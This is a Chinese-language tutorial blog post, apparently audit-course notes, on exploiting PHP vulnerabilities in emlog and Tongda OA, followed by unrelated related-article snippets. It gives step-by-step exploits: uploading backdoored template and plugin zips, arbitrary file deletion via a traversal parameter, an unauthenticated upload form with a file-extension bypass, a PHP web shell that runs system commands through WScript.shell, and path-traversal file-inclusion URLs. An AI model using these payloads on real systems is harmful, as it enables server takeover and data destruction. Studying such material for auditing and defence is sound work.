代碼審計-PHP專題原生開發文件上傳刪除包含文件操作監控Zend源碼解密1day分析

快速分析脆弱:

1、看文件路徑

2、看代碼里面的變量(可控)

3、看變量前后的過濾

文件安全挖掘點:

1、腳本文件名

2、應用功能點

3、操作關鍵字

文件上傳,文件下載(讀取),文件包含,文件刪除等

emlog-文件上傳&文件刪除

搜索函數關鍵字或應用關鍵字:

流程:搜$_FILES->template.php->upload_zip->emUnZip

流程:搜安裝或上傳等->template.php->upload_zip->emUnZip

https://www.cnvd.org.cn/flaw/show/CNVD-2023-74536

1、壓縮默認模版目錄

2、壓縮一個帶后門模版

3、上傳帶后門模版壓縮包

流程:搜$_FILES->plugin.php->upload_zip->emUnZip

流程:搜安裝或上傳等->plugin.php->upload_zip->emUnZip

https://www.cnvd.org.cn/flaw/show/CNVD-2023-74535

1、壓縮默認插件目錄

2、壓縮一個帶后門插件

3、上傳帶后門插件壓縮包

流程:搜unlink->data.php->action=dell_all_bak->bak[]

https://www.cnvd.org.cn/flaw/show/CNVD-2021-41633

1、/admin/data.php?action=dell_all_bak

2、bak[1]=../xxx.php

上傳漏洞復現

這里有一個安裝模板功能,漏洞點就在這里,我們把templates目錄下的default文件壓縮,里面寫入一個phpinfo();

我們上傳后再default目錄下找到了1.php

上傳漏洞審計

這里我們能看到請求URL為 http://127.0.0.1:85/admin/template.php?action=upload_zip

我們追蹤到這個方法,就是參數action=upload_zip這里

并且前端頁面的表單名就是tplzip

然后這里用emUnZip函數將壓縮包中文件保存到templates目錄下去

跟蹤一下emUnZip函數,就是一個解壓zip的過程

文件任意刪除漏洞

復現:

在這里讓變量$action等于dell_all_bak,然后提交bak用POST方法

在這里我們創建一個1.txt,然后嘗試刪除

這里爆出備份文件刪除成功,我們去看一下

刪除成功

利用文件監控器進行監控文件變化

拓展:

/admin/plugin.php?action=del&plugin=../../../1/txt&token=xxx

通達OA-文件上傳&文件包含

源碼加密:

1、觀察

2、找資料

文件監控:file-jiankong.py

方便監控獲取文件上傳到什么地方

這里源碼是加密的,我們解密一下

流程:找文件名->繞驗證P->DEST_UID,UPLOAD_MOD->構ATTACHMENT

文件上傳(文件名稱):/webroot/ispirit/im/upload.php

1、設置P參數不為0

2、設置DEST_UID參數為1

3、設置UPLOAD_MODE參數為1,2,3

4、設置上傳文件參數名為ATTACHMENT

關鍵點在于p,并且我們最終點要執行到這個點,就是upload這里,所有上面代碼都要滿足,不能退出,順利執行到下面,所有我們就會有幾個要求,p不為0,為0就會執行11行的else,就到了auth.php文件了,再往下

如果這里DEST_UID等于0,就會執行包含的代碼,并且exit(),我們就沒辦法再往下執行了。所以這里DEST_UID要等于1

并且這里UPLOAD_MODE要等與1,2,3

并且上傳的參數名為ATTACHMENT

else {

if (strtolower(substr($FILE_NAME,$POST +1, 3)) == "php")

return false;

}

所有我們得到下面的payload

這里有個過濾掉php文件,因此我們繞過一下

我們上傳1.php.

這種格式,在php后面加一個.

或者使用監控腳本也能發現上傳文件的位置

<html>

<body>

<form action="http://127.0.0.1/ispirit/im/upload.php"method="post"enctype="multipart/form-data">

<input type="text"name="P"value=1></input>

<input type="text"name="UPLOAD_MODE"value=1></input>

<input type="text"name="DEST_UID"value=1></input>

<input type="file"name="ATTACHMENT"></input>

<input type="submit"></input>

</body>

</html>

文件包含

流程:搜include_once->gateway.php->$url->$key->$json

文件包含(include_once):/ispirit/interface/gateway.php

繞過的poc

<?php

$command=$_POST['cmd'];

$wsh= new COM('WScript.shell');

$exec=$wsh->exec("cmd /c ".$command);

$stdout=$exec->StdOut();

$stroutput=$stdout->ReadAll();

echo$stroutput;

?>

繞過poc,然后post提交,我們使用ipconfig命令運行得到結果

poc1:

/ispirit/interface/gateway.php?json={}&url=/general/../../attach/im/xxxx/1600449966.1.txt

poc2:

/ispirit/interface/gateway.php?json={}&url=/ispirit/../../attach/im/xxxx/1600449966.1.txt

poc3:

/ispirit/interface/gateway.php?json={}&url=/module/../../attach/im/2310/1600449966.1.txt

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/bicheng/98101.shtml
繁體地址,請注明出處:http://hk.pswp.cn/bicheng/98101.shtml
英文地址,請注明出處:http://en.pswp.cn/bicheng/98101.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

零基礎搭建 Hexo 博客:從本地到 GitHub Pages 全流程指南

零基礎搭建 Hexo 博客&#xff1a;從本地到 GitHub Pages 全流程指南 Hexo 是一個快速、簡潔且高效的博客框架&#xff0c;支持使用 Markdown 來編寫文章&#xff0c;并能快速生成靜態網頁&#xff0c;非常適合想要搭建個人博客的同學。本文將帶你從零開始&#xff0c;本地搭建…

Git 簡介

Git 是目前全球最流行的分布式版本控制系統&#xff08;Distributed Version Control System, DVCS&#xff09;&#xff0c;核心作用是追蹤文件修改歷史、支持多人協同開發&#xff0c;并能高效管理代碼&#xff08;或任何文本類文件&#xff09;的版本迭代。它由 Linux 內核創…

后端Web實戰-Spring原理

目錄 1. 配置優先級 2. Bean管理 2.1 獲取Bean 2.2 Bean作用域 面試題&#xff1a;Lazy是如何解決循環依賴問題的&#xff1f; 2.3 第三方Bean 3. SpringBoot原理 3.1 起步依賴 3.2 自動配置 3.2.1 概述 3.2.2 自動配置的原理及常見方案 3.2.2.1 概述 3.2.2.2 方案…

在 Qoder 等 AI 二創 IDE 里用 VS Code Remote-SSH 的“曲線連接”實戰

目標&#xff1a;讓你在 Qoder 等在線/AI 輔助 IDE 中&#xff0c;也能像本地 VS Code 一樣通過 Remote-SSH 連接到自己的遠程服務器進行開發。 前提&#xff1a;只在你擁有或被授權的服務器上使用&#xff0c;遵守所用平臺的條款與限制。兩句話說清楚 先用本地 VS Code 正常連…

python發送請求SSL驗證設置

這個錯誤通常是由于SSL/TLS握手失敗導致的&#xff0c;可能原因包括證書驗證問題、不兼容的加密協議或網絡連接中斷。以下是幾種解決方案&#xff0c;按推薦順序排列&#xff1a; 方案一&#xff1a;臨時禁用SSL驗證&#xff08;快速測試&#xff09; response requests.get(u…

工廠自動化正從 “人工堆疊” 向 “設備替代” 快速轉變

?人工進行零件排列&#xff0c;雖在操作靈活性上有一定表現&#xff0c;但實際應用中存在明顯短板&#xff0c;對工廠自動化轉型形成制約。從成本來看&#xff0c;一名工人日均工資約數百元&#xff0c;若需 5-6 名工人協同作業&#xff0c;月均人力成本易突破萬元&#xff0c…

中標麒麟7.4部署gitlab-runner

1. 部署環境 本次部署環境完全斷網。需要離線下載gitlab-runner及其依賴。 本次部署環境為中標麒麟7.4。目前機器上部署了gitlab&#xff0c;安裝了maven。 2. 部署步驟 2.1 在外部下載好依賴 我首先在騰訊云上布置了一個centos7.9的虛擬機&#xff0c;沒有安裝任何東西。 …

在 IDEA 2024 創建 Vue 項目(保姆級)

目錄 一、 前后端分離 1. 簡介 2. 實現前后端分離的常用前端框架 3. 前后端分離和動靜分離 3.1 前后端分離: 3.2 動靜分離: 二、 Vue.js概述 1. 簡介 2. SPA介紹 2.1 優點 2.2 缺點 3. MVVM介紹 3.1 示例 三、 名詞解釋 1. Node.js 2. npm 3. webpack 4. Vue…

Coze源碼分析-資源庫-創建知識庫-后端源碼-應用/領域/數據訪問

3. 應用服務層 3.1 知識庫應用服務 文件位置: backend/application/knowledge/knowledge.go func (k *KnowledgeApplicationService) CreateKnowledge(ctx context.Context, req *dataset.CreateDatasetRequest) (*dataset.CreateDatasetResponse, error) {// 1. 轉換文檔類型d…

Shopify指紋手機矩陣:無限擴店,橫掃FB/GG廣告封號風險

一、 為什么需要為Shopify使用指紋手機&#xff1f;雖然Shopify不會因為你多開店而封號&#xff0c;但以下場景需要隔離環境&#xff1a;規避廣告平臺關聯&#xff1a;這是最核心的用途。你會用Facebook、Google、TikTok等廣告平臺為你的Shopify店鋪引流。這些廣告平臺嚴格禁止…

【Python】家庭用電數據分析Prophet預測

數據集&#xff1a;Household Electricity Consumption | Kaggle 目錄 數據集簡介 探索性分析 Prophet預測 Prophet模型 Prophet理念 Prophet優點 數據集簡介 240000-household-electricity-consumption-records數據集包含了一個家庭6個月的用電數據&#xff0c;收集于2…

信息系統運維管理

運行維護服務指的是采用信息技術手段及方法&#xff0c;依據客戶提出的服務要求&#xff0c;為其在使用信息系統過程中提出的需求提供的綜合服務是信息技術服務中的一種主要類型。運行維護服務對象是指信息系統工程建設項目交付的內容&#xff0c;包括機房基礎設施&#xff0c;…

系統編程完結整理以及補充

Shell&#xff08;命令與腳本語法&#xff09; 系統編程&#xff08;一&#xff09;shell的學習-CSDN博客 功能/概念語法/關鍵字參數/用法說明返回值/效果難易點注意事項示例/實驗提示定義函數func_name() { commands; }無參數或通過 $1 $2 ... 傳參函數執行參數傳遞、全局變…

第十四屆藍橋杯青少組C++選拔賽[2022.12.18]第二部分編程題(2、字符翻轉)

參考程序&#xff1a;#include <bits/stdc.h> using namespace std;int main() {string s;cin >> s; // 讀取輸入字符串&#xff0c;若無輸入則結束for (int i 0; i < (int)s.size(); i) {// i 從 0 開始&#xff0c;位置是 i1&#xff1b;如果 i 是奇數&#…

Django基礎環境入門

熟悉過程 搭建環境&#xff0c;運行起來基礎請求到服務接口跟java web對比 說明先不糾結細節先跑起來再說 1. 環境搭建 python已經安裝&#xff0c;使用conda管理 django安裝 django官方文檔 pip install django也可以命令創建 mkdir djangotutorial django-admin startp…

408學習之c語言(結構體)

今天給大家分享C語言中結構體的幾種常見使用方法&#xff0c;包括基礎結構體定義與初始化&#xff0c;結構體指針的兩種訪問方式&#xff0c;結構體數組的遍歷&#xff0c;動態內存分配與結構體使用&#xff0c;typedef簡化結構體類型基礎結構體定義與使用#define _CRT_SECURE_…

Navicat中設計表格默認值時,如何不設置成NULL,而是設置成空文本?

在 Navicat 中設計表時&#xff0c;將字段的默認值設置為空文本而不是 NULL 是一個非常常見的需求。操作很簡單&#xff0c;但有幾個細節需要注意。■ 方法一&#xff1a;通過“設計表”界面設置&#xff08;最常用&#xff09;1. 連接數據庫并找到表&#xff1a;在左側連接導…

深入理解Java虛擬機:JVM高級特性與最佳實踐(第3版)第十三章知識點問答(15題)

預告下一本 可能是mysql8的書籍 或者是AI應用工程的基本崗位所有技能 問題1 什么是 線程安全&#xff1f;在 Java 中如何定義“線程安全”&#xff1f;線程安全&#xff08;Thread Safety&#xff09; 的定義是&#xff1a; 當多個線程同時訪問某個類的對象時&#xff0c;無論運…

【醫療 AI】Baichuan-M2:大語言模型在醫療領域的動態驗證框架

Baichuan-M2 醫療大模型&#xff1a;技術解讀與使用方法 Baichuan-M2&#xff1a;大語言模型在醫療領域的動態驗證框架 【醫療 AI】Baichuan-M2&#xff1a;大語言模型在醫療領域的動態驗證框架0. Baichuan-M2 模型簡介0.1 基本信息0.2 主要貢獻0.3 論文摘要1. 引言2. 驗證系統…

Ubuntu\Linux環境中驅動版本配置cudaToolKit

修改環境變量。 1. 首先檢查當前的環境變量 # 查看當前PATH echo $PATH# 查看當前LD_LIBRARY_PATH echo $LD_LIBRARY_PATH# 查看當前CUDA_HOME echo $CUDA_HOME2. 確定正確的CUDA安裝路徑 # 查看系統中有哪些CUDA版本 ls /usr/local/cuda*3. 修改環境變量(永久生效) 編輯…